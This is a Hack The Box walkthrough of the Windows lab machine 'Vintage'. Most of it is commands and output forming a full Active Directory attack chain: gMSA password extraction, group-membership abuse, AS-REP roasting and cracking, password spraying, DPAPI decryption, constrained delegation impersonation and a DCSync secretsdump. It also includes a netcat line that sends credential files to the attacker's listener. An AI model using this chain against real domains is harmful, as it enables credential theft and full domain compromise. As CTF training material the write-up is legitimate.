Hack The Box / WINDOWS / 2026-03-18
Hack The Box — Vintage (Windows)
Complex AD chain using machine account abuse, gMSA password extraction, group membership abuse, AS-REP roasting, DPAPI credential decryption, constrained delegation abuse, and DCSync to domain compromise.
Target
- IP:
10.129.167.2
Machine Information
From the machine description:
As is common in real life Windows pentests, you will start the Vintage box with credentials for the following account: P.Rosa / Rosaisbest123
Port Scan
sudo nmap -sC -sV 10.129.167.2 -p- -T5 -v
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-30 21:04:17Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49679/tcp open msrpc Microsoft Windows RPC
49700/tcp open msrpc Microsoft Windows RPC
57598/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-11-30T21:05:07
|_ start_date: N/A
|_clock-skew: 1s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Add vintage.htb to /etc/hosts.
Initial Enumeration
nxc smb vintage.htb -u P.Rosa -p Rosaisbest123 --shares
SMB 10.129.167.2 445 10.129.167.2 [*] x64 (name:10.129.167.2) (domain:10.129.167.2) (signing:True) (SMBv1:False)
SMB 10.129.167.2 445 10.129.167.2 [-] 10.129.167.2\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED
nxc ldap vintage.htb -u P.Rosa -p Rosaisbest123
LDAP 10.129.167.2 389 dc01.vintage.htb [*] x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP 10.129.167.2 389 dc01.vintage.htb [-] vintage.htb\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED
Add dc01.vintage.htb to /etc/hosts.
Download kerbrute:
- https://github.com/ropnop/kerbrute
./kerbrute userenum -d vintage.htb --dc 10.129.167.2 /home/kali/SecLists/Usernames/xato-net-10-million-usernames.txt -t 50
bloodhound-python -u 'P.Rosa' -p 'Rosaisbest123' -ns 10.129.167.2 -d 'vintage.htb' -dc 'dc.vintage.htb' -c All --zip
It does not work.
getTGT.py vintage.htb/P.Rosa:'Rosaisbest123' -dc-ip 10.129.167.2
[*] Saving ticket in P.Rosa.ccache
export KRB5CCNAME=P.Rosa.ccache
bloodhound-python -u 'P.Rosa' -p 'Rosaisbest123' -k -ns 10.129.167.2 -d 'vintage.htb' -dc 'dc01.vintage.htb' -c All --zip
This time it works.
sudo neo4j console
bloodhound --no-sandbox
Check SMB shares with Kerberos cache:
nxc smb dc01.vintage.htb -d vintage.htb -k --use-kcache --shares
SMB dc01.vintage.htb 445 dc01 [*] x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB dc01.vintage.htb 445 dc01 [+] vintage.htb\P.Rosa from ccache
SMB dc01.vintage.htb 445 dc01 [*] Enumerated shares
SMB dc01.vintage.htb 445 dc01 Share Permissions Remark
SMB dc01.vintage.htb 445 dc01 ----- ----------- ------
SMB dc01.vintage.htb 445 dc01 ADMIN$ Remote Admin
SMB dc01.vintage.htb 445 dc01 C$ Default share
SMB dc01.vintage.htb 445 dc01 IPC$ READ Remote IPC
SMB dc01.vintage.htb 445 dc01 NETLOGON READ Logon server share
SMB dc01.vintage.htb 445 dc01 SYSVOL READ Logon server share
User and Computer Enumeration
To obtain user list:
ldapsearch -x -H ldap://10.129.167.2 -D 'P.Rosa@vintage.htb' -w 'Rosaisbest123' -b 'CN=Users,DC=vintage,DC=htb' | grep name | awk '{print $2}' > users_1.txt
Alternative:
nxc smb dc01.vintage.htb -d vintage.htb -k --use-kcache --rid-brute 5000 | grep SidTypeUser | cut -d: -f2 | cut -d \\ -f2 | cut -d' ' -f1 > users_2.txt
Note that users_1.txt and users_2.txt differ.
To obtain computers:
ldapsearch -x -H ldap://10.129.167.2 -D 'P.Rosa@vintage.htb' -w 'Rosaisbest123' -b 'CN=Computers,DC=vintage,DC=htb'
We note computer FS01.vintage.htb and:
memberOf: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=vintage,DC=htb
Target machine IP changed to:
10.129.174.56
Machine Account Abuse and gMSA Password
Install pre2k:
- https://github.com/garrettfoster13/pre2k
pre2k unauth -d vintage.htb -dc-ip 10.129.174.56 -save -inputfile users_2.txt
[16:00:56] INFO VALID CREDENTIALS: vintage.htb\FS01$:fs01
[16:00:56] INFO Saving ticket in FS01$.ccache
mv FS01\$.ccache FS01.ccache
export KRB5CCNAME=FS01.ccache
In BloodHound:
- Computer
FS01is member ofDomain Computers Domain ComputershasReadGMSAPasswordoverGMSA01$
Download gMSADumper:
- https://github.com/micahvandeusen/gMSADumper
python gMSADumper/gMSADumper.py -k -d vintage.htb -l dc01.vintage.htb
It does not work.
Download bloodyAD:
- https://github.com/CravateRouge/bloodyAD
python3 bloodyAD/bloodyAD.py --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.174.56 -k get object 'GMSA01$' --attr msDS-ManagedPassword
distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:54311f0ed05b807a7aaf5943b595f224
msDS-ManagedPassword.B64ENCODED: c6qwf6x+EXiEYKGhCu/wTBcnp6hz3ppQG2uReaV8QV+JCaIhn2MobwBxF4Q6fd3W5P13wvh2Jf/Wp2WHsjIEjkbF0duDHoCBAK31Q+BoQg0eUHbsRcksNrkLcPtkZ5eUhK+TzgpXeFKt0VCOWFkAOStKE1H5PDfUGoC2xuP+Tceg7iV0IcMBaR8Db3UgqaqP2LLRiimuL6ZO4xl6sSRKrdRQEQOR7L9fFw9JW7myCsbj2TPxFc5WaMQtWi456OvwBQn4jhdty5tSjv2uMlcq+sQMz60voxH6sClACPGKJMCr2FNVJP6dd1GTdvh6n5Dbh/yhHCAF8UzYeGXv2Nx3Dw==
getTGT.py vintage.htb/'GMSA01$' -hashes ':54311f0ed05b807a7aaf5943b595f224' -dc-ip 10.129.174.56
[*] Saving ticket in GMSA01$.ccache
mv GMSA01\$.ccache GMSA01.ccache
export KRB5CCNAME=GMSA01.ccache
In BloodHound:
GMSA01$hasAddSelfto groupservicemanagersservicemanagersdistinguished name isCN=SERVICEMANAGERS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB
python3 bloodyAD/bloodyAD.py --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.174.56 -k add groupMember 'CN=SERVICEMANAGERS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB' 'GMSA01$'
[+] GMSA01$ added to CN=SERVICEMANAGERS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB
Add P.Rosa to SERVICEMANAGERS too:
python3 bloodyAD/bloodyAD.py --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.174.56 -k add groupMember 'CN=SERVICEMANAGERS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB' 'P.Rosa'
[+] P.Rosa added to CN=SERVICEMANAGERS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB
getTGT.py vintage.htb/P.Rosa:'Rosaisbest123' -dc-ip 10.129.174.56
[*] Saving ticket in P.Rosa.ccache
export KRB5CCNAME=P.Rosa.ccache
In BloodHound, group servicemanagers has GenericAll over users svc_ark, svc_ldap, and svc_sql.
AS-REP Roasting Path
Set DONT_REQ_PREAUTH for target users:
python3 bloodyAD/bloodyAD.py --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.174.56 -k add uac SVC_ARK -f DONT_REQ_PREAUTH
python3 bloodyAD/bloodyAD.py --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.174.56 -k add uac SVC_SQL -f DONT_REQ_PREAUTH
python3 bloodyAD/bloodyAD.py --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.174.56 -k add uac SVC_LDAP -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_ARK's userAccountControl
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_SQL's userAccountControl
[-] ['DONT_REQ_PREAUTH'] property flags added to SVC_LDAP's userAccountControl
Enable SVC_SQL:
python3 bloodyAD/bloodyAD.py --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.174.56 -k remove uac SVC_SQL -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQL's userAccountControl
AS-REP roast users:
GetNPUsers.py -request -outputfile np.txt -format hashcat -usersfile users_2.txt vintage.htb/
Or:
GetNPUsers.py vintage.htb/ -usersfile users_2.txt -outputfile out -dc-ip 10.129.174.56 -no-pass
In np.txt there are hashes.
hashcat -a 0 ./np.txt ./rockyou.txt
Recovered:
$krb5asrep$23$svc_sql@VINTAGE.HTB:e53c5387afa3e6a96611b94179391717$6420467c7fa12ba0fb628a3c051911605ee7ec246c9ae3650188191fd3a712b57af91d93d3c3045f3f546d7c717c145edc4a7950aefe69a8a39d63cdc408519cefc389b451df6203f6b1b784582c49563c3ea6bc14b638d12c27c93dc854723dc199e88274a98a568e2114023ee5689ae05bd66b4b03e3ef265317e509ec115d3e5fd0f2ebf8177215ae1191deb749bc8852403281f0b693d97099d99629ae72baa0e06ca7374966fa882848924f10fff2e677b1437cbab2d83ff0b6c034cff7e19ad6c2c86a79184f4fc13ecef8e075b67c7434ff2d62c3eeaa810ca656ba3ef9fd68fdec6ce83e9344:Zer0the0ne
Password spray:
./kerbrute --dc dc01.vintage.htb -d vintage.htb -v passwordspray users_2.txt Zer0the0ne
2024/12/03 22:16:23 > [+] VALID LOGIN: svc_sql@vintage.htb:Zer0the0ne
2024/12/03 22:16:23 > [+] VALID LOGIN: C.Neri@vintage.htb:Zer0the0ne
getTGT.py vintage.htb/C.Neri:'Zer0the0ne' -dc-ip 10.129.174.56
[*] Saving ticket in C.Neri.ccache
export KRB5CCNAME=C.Neri.ccache
From BloodHound, C.Neri has CanPSRemote to dc01.vintage.htb, so we can use evil-winrm.
Edit krb5 config:
sudo vim /etc/krb5.conf
Under [realms], add:
VINTAGE.HTB = {
kdc = dc01.vintage.htb
}
evil-winrm -i dc01.vintage.htb -r vintage.htb
We obtain a shell.
DPAPI Credential Extraction
On target host:
$Blob = Get-Content -Path "C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\C4BB96844A5C9DD45D5B6A9859252BA6" -Raw
Set-Content -Path "C:\Users\C.Neri\Documents\C4BB96844A5C9DD45D5B6A9859252BA6.blob" -Value $Blob
$master = Get-Content -Path "C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b" -Raw
Set-Content -Path "C:\Users\C.Neri\Documents\master.bin" -Value $master
We need to download those two files to attacker machine.
Attacker side:
impacket-smbserver -smb2support -username test12 -password test12 share $(pwd)
Target side:
net use \\10.10.16.15\share test12 /USER:test12
This does not work.
Upload nc64.exe to target:
- https://github.com/int0x33/nc.exe/raw/refs/heads/master/nc64.exe
Attacker side:
nc -vlnp 4444 > C4BB96844A5C9DD45D5B6A9859252BA6.blob
Victim side:
type C4BB96844A5C9DD45D5B6A9859252BA6.blob | .\nc64.exe 10.10.16.15 4444
Then:
nc -vlnp 4444 > master.bin
type master.bin | .\nc64.exe 10.10.16.15 4444
This also does not work; received files differ from originals.
Use Base64 workaround on target:
$base64String = [System.Convert]::ToBase64String((Get-Content 'master.bin' -Encoding Byte))
$base64String
Copy output and decode on attacker:
echo '<copied_base64_string>' base64 -d > master.bin
Verify hashes:
sha256sum ./master.bin
certutil -hashfile .\master.bin SHA256
Repeat same procedure for C4BB96844A5C9DD45D5B6A9859252BA6.blob.
Extract master key using dpapi.py:
dpapi.py masterkey -file master.bin -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0ne
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
Use decrypted key on credential blob:
dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6.blob -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000001 (CRED_TYPE_GENERIC)
Target : LegacyGeneric:target=admin_acc
Description :
Unknown :
Username : vintage\c.neri_adm
Unknown : Uncr4ck4bl3P4ssW0rd0312
We recovered password for c.neri_adm.
getTGT.py vintage.htb/c.neri_adm:'Uncr4ck4bl3P4ssW0rd0312' -dc-ip 10.129.174.56
[*] Saving ticket in c.neri_adm.ccache
export KRB5CCNAME=c.neri_adm.ccache
Return to C.Neri shell.
Final AD Abuse and Domain Compromise
Enable-ADAccount -Identity svc_sql
Set-ADUser -Identity svc_sql -Add @{servicePrincipalName="cifs/x"}
From BloodHound, c.neri_adm has AddSelf over delegatedadmins.
python3 bloodyAD/bloodyAD.py --host dc01.vintage.htb -d vintage.htb --dc-ip 10.129.174.56 -k add groupMember "delegatedadmins" "svc_sql"
[+] svc_sql added to delegatedadmins
getTGT.py vintage.htb/svc_sql:'Zer0the0ne' -dc-ip 10.129.174.56
[*] Saving ticket in svc_sql.ccache
export KRB5CCNAME=svc_sql.ccache
getST.py -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.129.174.56 -k 'vintage.htb/svc_sql:Zer0the0ne'
[*] Saving ticket in L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
export KRB5CCNAME=L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
From BloodHound, L.BIANCHI_ADM has DCSync over vintage.htb.
secretsdump.py -k dc01.vintage.htb
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:468c7497513f8243b59980f2240a10de:::
getTGT.py vintage.htb/'Administrator' -hashes ':468c7497513f8243b59980f2240a10de' -dc-ip 10.129.174.56
[*] Saving ticket in Administrator.ccache
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass vintage.htb/Administrator@dc01.vintage.htb
This does not work.
L.BIANCHI_ADM is member of Domain Admins.
export KRB5CCNAME=L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
wmiexec.py -k -no-pass vintage.htb/L.Bianchi_adm@dc01.vintage.htb
cd \Users\Administrator\Desktop
type root.txt